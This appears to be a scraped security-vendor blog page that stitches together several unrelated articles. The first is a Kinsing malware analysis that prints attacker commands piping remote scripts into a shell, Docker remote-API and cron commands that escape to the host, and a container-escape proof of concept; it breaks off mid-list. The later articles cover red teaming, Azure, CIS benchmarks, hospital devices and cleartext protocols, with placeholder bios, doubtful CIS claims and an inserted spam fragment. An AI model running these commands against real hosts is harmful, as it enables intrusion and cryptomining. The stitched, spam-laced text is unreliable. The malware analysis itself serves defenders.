Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026?

Cloud Security Prevasio’s Role in Red Team Exercises and Pen Testing Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/21/20 Published Cybersecurity is an ever prevalent issue. Malicious hackers are becoming more agile by using sophisticated techniques that are always evolving. This makes it a top priority for companies to stay on top of their organization’s network security to ensure that sensitive and confidential information is not leaked or exploited in any way. Let’s take a look at the Red/Blue Team concept, Pen Testing, and Prevasio’s role in ensuring your network and systems remain secure in a Docker container atmosphere. What is the Red/Blue Team Concept? The red/blue team concept is an effective technique that uses exercises and simulations to assess a company’s cybersecurity strength. The results allow organizations to identify which aspects of the network are functioning as intended and which areas are vulnerable and need improvement. The idea is that two teams (red and blue) of cybersecurity professionals face off against each other. The Red Team’s Role It is easiest to think of the red team as the offense. This group aims to infiltrate a company’s network using sophisticated real-world techniques and exploit potential vulnerabilities. It is important to note that the team comprises highly skilled ethical hackers or cybersecurity professionals. Initial access is typically gained by stealing an employee’s, department, or company-wide user credentials. From there, the red team will then work its way across systems as it increases its level of privilege in the network. The team will penetrate as much of the system as possible. It is important to note that this is just a simulation, so all actions taken are ethical and without malicious intent. The Blue Team’s Role The blue team is the defense. This team is typically made up of a group of incident response consultants or IT security professionals specially trained in preventing and stopping attacks. The goal of the blue team is to put a stop to ongoing attacks, return the network and its systems to a normal state, and prevent future attacks by fixing the identified vulnerabilities. Prevention is ideal when it comes to cybersecurity attacks. Unfortunately, that is not always possible. The next best thing is to minimize “breakout time” as much as possible. The “breakout time” is the window between when the network’s integrity is first compromised and when the attacker can begin moving through the system. Importance of Red/Blue Team Exercises Cybersecurity simulations are important for protecting organizations against a wide range of sophisticated attacks. Let’s take a look at the benefits of red/blue team exercises: Identify vulnerabilities Identify areas of improvement Learn how to detect and contain an attack Develop response techniques to handle attacks as quickly as possible Identify gaps in the existing security Strengthen security and shorten breakout time Nurture cooperation in your IT department Increase your IT team’s skills with low-risk training What are Pen Testing Teams? Many organizations do not have red/blue teams but have a Pen Testing (aka penetration testing) team instead. Pen testing teams participate in exercises where the goal is to find and exploit as many vulnerabilities as possible. The overall goal is to find the weaknesses of the system that malicious hackers could take advantage of. Companies’ best way to conduct pen tests is to use outside professionals who do not know about the network or its systems. This paints a more accurate picture of where vulnerabilities lie. What are the Types of Pen Testing? Open-box pen test – The hacker is provided with limited information about the organization. Closed-box pen test – The hacker is provided with absolutely no information about the company. Covert pen test – In this type of test, no one inside the company, except the person who hires the outside professional, knows that the test is taking place. External pen test – This method is used to test external security. Internal pen test – This method is used to test the internal network. The Prevasio Solution Prevasio’s solution is geared towards increasing the effectiveness of red teams for organizations that have taken steps to containerize their applications and now rely on docker containers to ship their applications to production. The benefits of Prevasio’s solution to red teams include: Auto penetration testing that helps teams conduct break-and-attack simulations on company applications. It can also be used as an integrated feature inside the CI/CD to provide reachability assurance. The behavior analysis will allow teams to identify unintentional internal oversights of best practices. The solution features the ability to intercept and scan encrypted HTTPS traffic. This helps teams determine if any credentials should not be transmitted. Prevasio container security solution with its cutting-edge analyzer performs both static and dynamic analysis of the containers during runtime to ensure the safest design possible. Moving Forward Cyberattacks are as real of a threat to your organization’s network and systems as physical attacks from burglars and robbers. They can have devastating consequences for your company and your brand. The bottom line is that you always have to be one step ahead of cyberattackers and ready to take action, should a breach be detected. The best way to do this is to work through real-world simulations and exercises that prepare your IT department for the worst and give them practice on how to respond. After all, it is better for your team (or a hired ethical hacker) to find a vulnerability before a real hacker does. Simulations should be conducted regularly since the technology and methods used to hack are constantly changing. The result is a highly trained team and a network that is as secure as it can be. Prevasio is an effective solution in conducting breach and attack simulations that help red/blue teams and pen testing teams do their jobs better in Docker containers.

Cloud Security Azure Security Best Practices Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/25/24 Published Azure Security Best Practices: Don't Get Caught with Your Cloud Pants Down Executive Summary The cloud isn't some futuristic fantasy anymore, folks. It's the backbone of modern business, and Azure is charging hard, fueled by AI, to potentially dethrone AWS by 2026. But with this breakneck adoption comes a harsh reality: security can't be an afterthought. This article dives deep into why robust security practices are non-negotiable in Azure and how tools like Microsoft Sentinel and Defender XDR can be your digital bodyguards. Introduction Let's face it, organizations are flocking to the cloud like moths to a digital flame. Why? Cost savings, streamlined operations, and the ability to scale at warp speed. We're talking serious money here – a projected $805 billion spent on public cloud services in 2024! The cloud's not just disrupting the game; it is the game. And the playing field is shifting. AWS might be the king of the hill right now, but Azure's hot on its heels, thanks to some serious AI muscle. ( As of 2024, they hold market shares of 31%, 24%, and 11%, respectively .) Forbes even predicts an Azure takeover by 2026. Exciting times, right? Hold your horses. This rapid cloud adoption has a dark side. Security threats are lurking around every corner, and sticking to best practices is more crucial than ever. Cloud service managers, listen up: you need to wrap your heads around the shared responsibility model (Figure 1). Think of it like this: you and Azure are partners in crime prevention. You're both responsible for keeping your digital assets safe, but you need to know who's holding which piece of the security puzzle. Don't assume security is built-in – it's a team effort, and you need to pull your weight. Figure 1: The shared responsibility model Azure's Security Architecture: A Fortress in the Cloud Okay, I get it. The shared responsibility model can feel like navigating a maze blindfolded. But here's the deal: whether you're dabbling in IaaS, PaaS, or SaaS, Azure's got your infrastructure covered. Their global network of data centers is built like Fort Knox, meeting industry standards like ISO/IEC 27001:2022 , HIPAA , and NIST SP 800-53 . But remember your part of the bargain! Azure provides a killer arsenal of security products to protect your workloads, both in Azure and beyond. Figure 2: Azure’s security architecture Take Microsoft Sentinel, for example. This superhero of a tool automatically sniffs out threats, investigates them, and neutralizes them before they can wreak havoc. It's like having a 24/7 security team with superhuman senses. And don't forget about Microsoft Defender XDR. This comprehensive security suite is like a digital Swiss Army knife, protecting your identities, endpoints, applications, email, and cloud apps. It's got your back, no matter where you turn. With Sentinel and Defender XDR in your corner, you're well-equipped to tackle the security challenges that come with cloud adoption. But don't get complacent! Let's dive into some core security best practices that will make your Azure environment an impenetrable fortress. Core Security Best Practices: Lock Down Your Secrets Protecting Secrets: Best Practices Using Azure Key Vault We all have secrets, right? In the digital world, those secrets are things like passwords, API keys, and encryption keys. You can't just leave them lying around for any cybercriminal to snatch. That's where Azure Key Vault comes in. This secure vault is like a digital safe deposit box for your sensitive data. It uses hardware security modules (HSMs) to keep your secrets locked down tight, even if someone manages to breach your defenses. Big names like Victoria's Secret & Co , Evup, and Sage trust Key Vault to keep their secrets safe. Figure 3: A new Key Vault named “algosec-kv” Here's a pro tip: once you've stashed your secrets in Key Vault, use a managed identity to access them. This eliminates the need to hardcode credentials in your code, minimizing the risk of exposure. var client = new SecretClient(new Uri("https://. vault.azure.net/ "), new DefaultAzureCredential(),options); KeyVaultSecret secret = client.GetSecret(""); string secretValue = secret.Value; Key Vault is a fantastic tool, but it's not a silver bullet. Download our checklist of additional best practices to keep your secrets safe: Database and Data Security: More Than Just Locking the Door Azure offers a smorgasbord of data storage solutions, from Azure SQL Database to Azure Blob Storage. But securing your data isn't just about protecting it at rest. You need to think about data in use and data in transit, too. Download our checklist for a full action plan: Identity Management: Who Are You, and What Are You Doing Here? Encryption is great, but it's only half the battle. You need to know who's accessing your resources and what they're doing. That's where identity access management (IAM) comes in. Think of IAM as a digital bouncer, controlling access to your network resources. It's all about verifying identities and granting the right level of access – no more, no less. Zero-trust network access (ZTNA) is your secret weapon here. It's like having a security checkpoint at every corner of your network, ensuring that only authorized users can access your resources. Figure 4: Zero-trust security architecture Remember the Capital One breach? A misconfigured firewall and overly broad permissions led to a massive data leak. Don't let that be you! Follow Azure's IAM documentation to build a robust and secure identity management system. Network Security: Building a Digital Moat Your network architecture is the foundation of your security posture. Choose wisely, my friends! The hub-spoke model is a popular choice in Azure, centralizing common services in a secure hub and isolating workloads in separate spokes. Figure 5: Hub-spoke network architecture in Azure (Source: Azure documentation ) For a checklist of how the hub-spoke model can boosts your security, download our checklist here. Digital Realty , a real estate investment giant, uses the hub-spoke model to secure its global portal and REST APIs. It's a testament to the power of this architecture for both security and performance. Figure 6: Digital Realty’s use of hub-spoke architecture (Adapted from Microsoft Customer Stories ) Operational Security: Stay Vigilant, Stay Secure (Continued) When a security incident strikes, your response time is critical. Think of operational security as your digital first aid kit. It's about minimizing human error and automating processes to speed up threat detection and response. We've already talked about MFA, password management, and the dynamic duo of Defender XDR and Sentinel. Download our checklist for a few more operational security essentials to add to your arsenal. Figure 7: Build-deploy workflow automation (Source: Azure documentation ) Think of these best practices as guardrails, guiding you toward secure decisions. But remember, flexibility is key. Adapt these practices to your specific environment and architecture. Conclusion As Azure's popularity skyrockets, so do the stakes. The shared responsibility model means you're not off the hook when it comes to security. Azure provides powerful tools like Sentinel and Defender XDR, but it's up to you to use them wisely and follow best practices. Protect your secrets like they're buried treasure, secure your data with Fort Knox-level encryption, implement identity management that would make a border patrol agent proud, and build a network architecture that's a digital fortress. And don't forget about operational security – it's the glue that holds it all together. But let's be real, managing security policies across multiple clouds can be a nightmare. That's where tools like AlgoSec CloudFlow come in. They provide a clear view of your security landscape, helping you identify vulnerabilities and streamline policy management. It's like having a security command center for your entire cloud infrastructure. So, what are you waiting for? Request a demo today and let AlgoSec help you build an Azure environment that's so secure, even the most determined cybercriminals will be left scratching their heads.

CIS provides best practices to help companies like yours improve their cloud security posture. You’ll protect your systems against... Cloud Security What is CIS Compliance? (and How to Apply CIS Benchmarks) Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/20/23 Published CIS provides best practices to help companies like yours improve their cloud security posture. You’ll protect your systems against various threats by complying with its benchmark standards. This post will walk you through CIS benchmarks, their development, and the kinds of systems they apply to. We will also discuss the significance of CIS compliance and how Prevasio may help you achieve it. What are CIS benchmarks? CIS stands for Center for Internet Security . It’s a nonprofit organization that aims to improve companies’ cybersecurity readiness and response. Founded in 2000, the CIS comprises cybersecurity experts from diverse backgrounds. They have the common goal of enhancing cybersecurity resilience and reducing security threats. CIS compliance means adhering to the Center for Internet Security (CIS) benchmarks. CIS benchmarks are best practices and guidelines to help you build a robust cloud security strategy. These CIS benchmarks give a detailed road map for protecting a business’s IT infrastructure. They also encompass various platforms, such as web servers or cloud bases. The CIS benchmarks are frequently called industry standards. They are normally in line with other regulatory organizations, such as ISO, NIST, and HIPAA. Many firms adhere to CIS benchmarks to ensure they follow industry standards. They also do this to show their dedication to cybersecurity to clients and stakeholders. The CIS benchmarks and CIS controls are always tested through on-premises analysis by leading security firms. This ensures that CIS releases standards that are effective at mitigating cyber risks. How are the CIS benchmarks developed? A community of cybersecurity professionals around the world cooperatively develops CIS benchmarks. They exchange their knowledge, viewpoints, and experiences on a platform provided by CIS. The end result is consensus-based best practices that will protect various IT systems. The CIS benchmark development process typically involves the following steps: 1. Identify the technology: The first step is to identify the system or technology that has to be protected. This encompasses a range of applications. It can be an operating system, database, web server, or cloud environment. 2. Define the scope: The following stage is to specify the benchmark’s parameters. It involves defining what must be implemented for the technology to be successfully protected. They may include precise setups, guidelines, and safeguards. 3. Develop recommendations: Next, a community of cybersecurity experts will identify ideas for safeguarding the technology. These ideas are usually based on current best practices, norms, and guidelines. They may include the minimum security requirements and measures to be taken. 4. Expert consensus review: Thereafter, a broader group of experts and stakeholders assess the ideas. They will offer comments and suggestions for improvement. This level aims to achieve consensus on the appropriate technical safeguards. 5. Pilot testing: The benchmark is then tested in a real-world setting. At this point, CIS aims to determine its efficacy and spot any problems that need fixing. 6. Publication and maintenance: The CIS will publish the benchmark once it has been improved and verified. The benchmark will constantly be evaluated and updated to keep it current and useful for safeguarding IT systems. What are the CIS benchmark levels? CIS benchmarks are divided into three levels based on the complexity of an IT system. It’s up to you to choose the level you need based on the complexity of your IT environment. Each level of the benchmarks offers better security recommendations than the previous level. The following are the distinct categories that benchmarks are divided into: Level 1 This is the most basic level of CIS standards. It requires organizations to set basic security measures to reduce cyber threats. Some CIS guidelines at this level include password rules, system hardening, and risk management. The level 1 CIS benchmarks are ideal for small businesses with basic IT systems. Level 2 This is the intermediate level of the CIS benchmarks. It is suitable for small to medium businesses that have complex IT systems. The Level 2 CIS standards offer greater security recommendations to your cloud platform. It has guidelines for network segmentation, authentication, user permissions, logging, and monitoring. At this level, you’ll know where to focus your remediation efforts if you spot a vulnerability in your system. Level 2 also covers data protection topics like disaster recovery plans and encryption. Level 3 Level 3 is the most advanced level of the CIS benchmarks. It offers the highest security recommendations compared to the other two. Level 3 also offers the Security Technical Implementation Guide (STIG) profiles for companies. STIG are configuration guidelines developed by the Defense Information Systems Agency. These security standards help you meet US government requirements. This level is ideal for large organizations with the most sensitive and vital data. These are companies that must protect their IT systems from complex security threats. It offers guidelines for real-time security analytics, safe cloud environment setups, and enhanced threat detection. What types of systems do CIS benchmarks apply to? The CIS benchmarks are applicable to many IT systems used in a cloud environment. The following are examples of systems that CIS benchmarks can apply to: Operating systems: CIS benchmarks offer standard secure configurations for common operating systems, including Amazon Linux, Windows Servers, macOS, and Unix. They address network security, system hardening, and managing users and accounts. Cloud infrastructure: CIS benchmarks can help protect various cloud infrastructures, including public, private, and multi-cloud. They recommend guidelines that safeguard cloud systems by various cloud service providers. For example, network security, access restrictions, and data protection. The benchmarks cover cloud systems such as Amazon Web Services (AWS), Microsoft Azure, IBM, Oracle, and Google Cloud Platform. Server software: CIS benchmarks provide secure configuration baselines for various servers, including databases (SQL), DNS, Web, and authentication servers. The baselines cover system hardening, patch management, and access restrictions. Desktop software: Desktop apps such as music players, productivity programs, and web browsers can be weak points in your IT system. CIS benchmarks offer guidelines to help you protect your desktop software from vulnerabilities. They may include patch management, user and account management, and program setup. Mobile devices: The CIS benchmarks recommend safeguarding endpoints such as tablets and mobile devices. The standards include measures for data protection, account administration, and device configuration. Network devices: CIS benchmarks also involve network hardware, including switches, routers, and firewalls. Some standards for network devices include access restrictions, network segmentation, logging, and monitoring. Print devices: CIS benchmarks also cover print devices like printers and scanners. The CIS benchmark baselines include access restrictions, data protection, and firmware upgrades. Why is CIS compliance important? CIS compliance helps you maintain secure IT systems. It does this by helping you adhere to globally recognized cybersecurity standards. CIS benchmarks cover various IT systems and product categories, such as cloud infrastructures. So by ensuring CIS benchmark compliance, you reduce the risk of cyber threats to your IT systems. Achieving CIS compliance has several benefits: 1. Your business will meet internationally accepted cybersecurity standards . The CIS standards are developed through a consensus review process. This means they are founded on the most recent threat intelligence and best practices. So you can rely on the standards to build a solid foundation for securing your IT infrastructure. 2. It can help you meet regulatory compliance requirements for other important cybersecurity frameworks . CIS standards can help you prove that you comply with other industry regulations. This is especially true for companies that handle sensitive data or work in regulated sectors. CIS compliance is closely related to other regulatory compliances such as NIST, HIPAA, and PCI DSS. By implementing the CIS standards, you’ll conform to the applicable industry regulations. 3. Achieving CIS continuous compliance can help you lower your exposure to cybersecurity risks . In the process, safeguard your vital data and systems. This aids in preventing data breaches, malware infections, and other cyberattacks. Such incidents could seriously harm your company’s operations, image, and financial situation. A great example is the Scottish Oil giant, SSE. It had to pay €10M in penalties for failing to comply with a CIS standard in 2013. 4. Abiding by the security measures set by CIS guidelines can help you achieve your goals faster as a business. The guidelines cover the most important and frequently attacked areas of IT infrastructure. 5. CIS compliance enhances your general security posture. It also decreases the time and resources needed to maintain security. It does this by providing uniform security procedures across various platforms. How to achieve CIS compliance? Your organization can achieve CIS compliance by conforming to the guidelines of the CIS benchmarks and CIS controls. Each CIS benchmark usually includes a description of a recommended configuration. It also usually contains a justification for the implementation of the configuration. Finally, it offers step-by-step instructions on how to carry out the recommendation manually. While the standards may seem easy to implement manually, they may consume your time and increase the chances of human errors. That is why most security teams prefer using tools to automate achieving and maintaining CIS compliance. CIS hardened images are great examples of CIS compliance automation tools. They are pre-configured images that contain all the necessary recommendations from CIS benchmarks. You can be assured of maintaining compliance by using these CIS hardened images in your cloud environment. You can also use CSPM tools to automate achieving and maintaining CIS compliance. Cloud Security Posture Management tools automatically scan for vulnerabilities in your cloud. They then offer detailed instructions on how to fix those issues effectively. This way, your administrators don’t have to go through the pain of doing manual compliance checks. You save time and effort by working with a CSPM tool. Use Prevasio to monitor CIS compliance. Prevasio is a cloud-native application platform (CNAPP) that can help you achieve and maintain CIS compliance in various setups, including Azure, AWS, and GCP.

Tags Share this article 6/14/16 Published Hospitals are increasingly becoming a favored target of cyber criminals. Yet if you think about medical equipment that is vulnerable to being hacked at a hospital, you might not immediately think of high-end, critical equipment such as MRI and X-ray scanners, and nuclear medicine devices. After all, these devices go through rigorous approval processes by the US Food & Drug Administration (FDA) before they are approved for safe use on patients. Yet today many, if not most, medical devices, have computers embedded in them, are connected to the hospital network, and often to the internet as well, so they provide a potential attack vector for cyber criminals. In late 2015 security researchers found that thousands of medical devices were vulnerable to attack and exposed to the public Internet. Interestingly, these researchers also found that many of the devices in question were running Windows XP – which is no longer supported or updated by Microsoft – and did not run antivirus software to protect them against malware. This combination raises an obvious security red flag. Ironically, these security vulnerabilities were further exacerbated because of the very FDA approvals process that certifies the devices. The approval process is, quite rightly, extremely rigorous. It is also lengthy and expensive. And if a manufacturer or vendor makes a change to a device, it needed to be re-certified. Until very recently, a ‘change’ to a medical device meant any sort of change – including patching devices’ operating systems and firmware to close off potential network security vulnerabilities. You can see where this is going: making simple updates to medical equipment to improve its defenses against cyberattacks was made that much more difficult and complex for the device manufacturers, because of the need for FDA re-certification every time a change was made. And of course, this potential delay in patching vulnerabilities made it easy for a hacker to try and ‘update’ the device in his own way, for criminal purposes. Hackers are usually not too concerned about getting FDA approval for their work. Fortunately, the FDA released new guidelines last year that allowed equipment manufacturers to patch software as required without undergoing re-certification—provided the change or modification does not ‘significantly affect the safety or effectiveness of the medical device’. That’s good news – but it’s not quite the end of the story. The FDA’s guidelines are only a partial panacea to the overall problem. They overlook the fact that many medical devices are running obsolete operating systems like Windows XP. What’s more, the actual process of applying patches to the computers in medical devices can vary enormously from manufacturer to manufacturer, with some patches needing to be downloaded and applied manually, while others may be pushed automatically. In either case, there could still be a window of weeks, months or even years before the device’s vendor issues a patch for a given vulnerability – a window that a hacker could exploit before the hospital’s IT team becomes aware that the vulnerability exists. This means that hospitals need to take great care when it comes to structuring and segmenting their network . It is vital that connected medical devices – particularly those where the internal OS may be out of date – are placed within defined, segregated segments of the network, and robustly protected with next-generation firewalls, web proxies and other filters. While network segmentation and filtering will not protect unpatched or obsolete operating system, they will ensure that the hospital’s network is secured to the best of its ability .

Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/15/14 Published Insecure Service Protocols and Ports Okay, we all have them… they’re everyone’s dirty little network security secrets that we try not to talk about. They’re the protocols that we don’t mention in a security audit or to other people in the industry for fear that we’ll be publicly embarrassed. Yes, I’m talking about cleartext protocols which are running rampant across many networks. They’re in place because they work, and they work well, so no one has had a reason to upgrade them. Why upgrade something if it’s working right? Wrong. These protocols need to go the way of records, 8-tracks and cassettes (many of these protocols were fittingly developed during the same era). You’re putting your business and data at serious risk by running these insecure protocols. There are many insecure protocols that are exposing your data in cleartext, but let’s focus on the three most widely used ones: FTP, Telnet and SNMP. FTP (File Transfer Protocol) This is by far the most popular of the insecure protocols in use today. It’s the king of all cleartext protocols and one that needs to be smitten from your network before it’s too late. The problem with FTP is that all authentication is done in cleartext which leaves little room for the security of your data. To put things into perspective, FTP was first released in 1971, almost 45 years ago. In 1971 the price of gas was 40 cents a gallon, Disneyland had just opened and a company called FedEx was established. People, this was a long time ago. You need to migrate from FTP and start using an updated and more secure method for file transfers, such as HTTPS, SFTP or FTPS. These three protocols use encryption on the wire and during authentication to secure the transfer of files and login. Telnet If FTP is the king of all insecure file transfer protocols then telnet is supreme ruler of all cleartext network terminal protocols. Just like FTP, telnet was one of the first protocols that allowed you to remotely administer equipment. It became the defacto standard until it was discovered that it passes authentication using cleartext. At this point you need to hunt down all equipment that is still running telnet and replace it with SSH, which uses encryption to protect authentication and data transfer. This shouldn’t be a huge change unless your gear cannot support SSH. Many appliances or networking gear running telnet will either need the service enabled or the OS upgraded. If both of these options are not appropriate, you need to get new equipment, case closed. I know money is an issue at times, but if you’re running a 45 year old protocol on your network with the inability to update it, you need to rethink your priorities. The last thing you want is an attacker gaining control of your network via telnet. Its game over at this point. SNMP (Simple Network Management Protocol) This is one of those sneaky protocols that you don’t think is going to rear its ugly head and bite you, but it can! escortdate escorts . There are multiple versions of SNMP, and you need to be particularly careful with versions 1 and 2. For those not familiar with SNMP, it’s a protocol that enables the management and monitoring of remote systems. Once again, the strings can be sent via cleartext, and if you have access to these credentials you can connect to the system and start gaining a foothold on the network, including managing, applying new configurations or gaining in-depth monitoring details of the network. In short, it a great help for attackers if they can get hold of these credentials. Luckily version 3.0 of SNMP has enhanced security that protects you from these types of attacks. So you must review your network and make sure that SNMP v1 and v2 are not being used. These are just three of the more popular but insecure protocols that are still in heavy use across many networks today. By performing an audit of your firewalls and systems to identify these protocols, preferably using an automated tool such as AlgoSec Firewall Analyzer , you should be able to pretty quickly create a list of these protocols in use across your network. It’s also important to proactively analyze every change to your firewall policy (again preferably with an automated tool for security change management ) to make sure no one introduces insecure protocol access without proper visibility and approval. Finally, don’t feel bad telling a vendor or client that you won’t send data using these protocols. If they’re making you use them, there’s a good chance that there are other security issues going on in their network that you should be concerned about. It’s time to get rid of these protocols. They’ve had their usefulness, but the time has come for them to be sunset for good. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026?

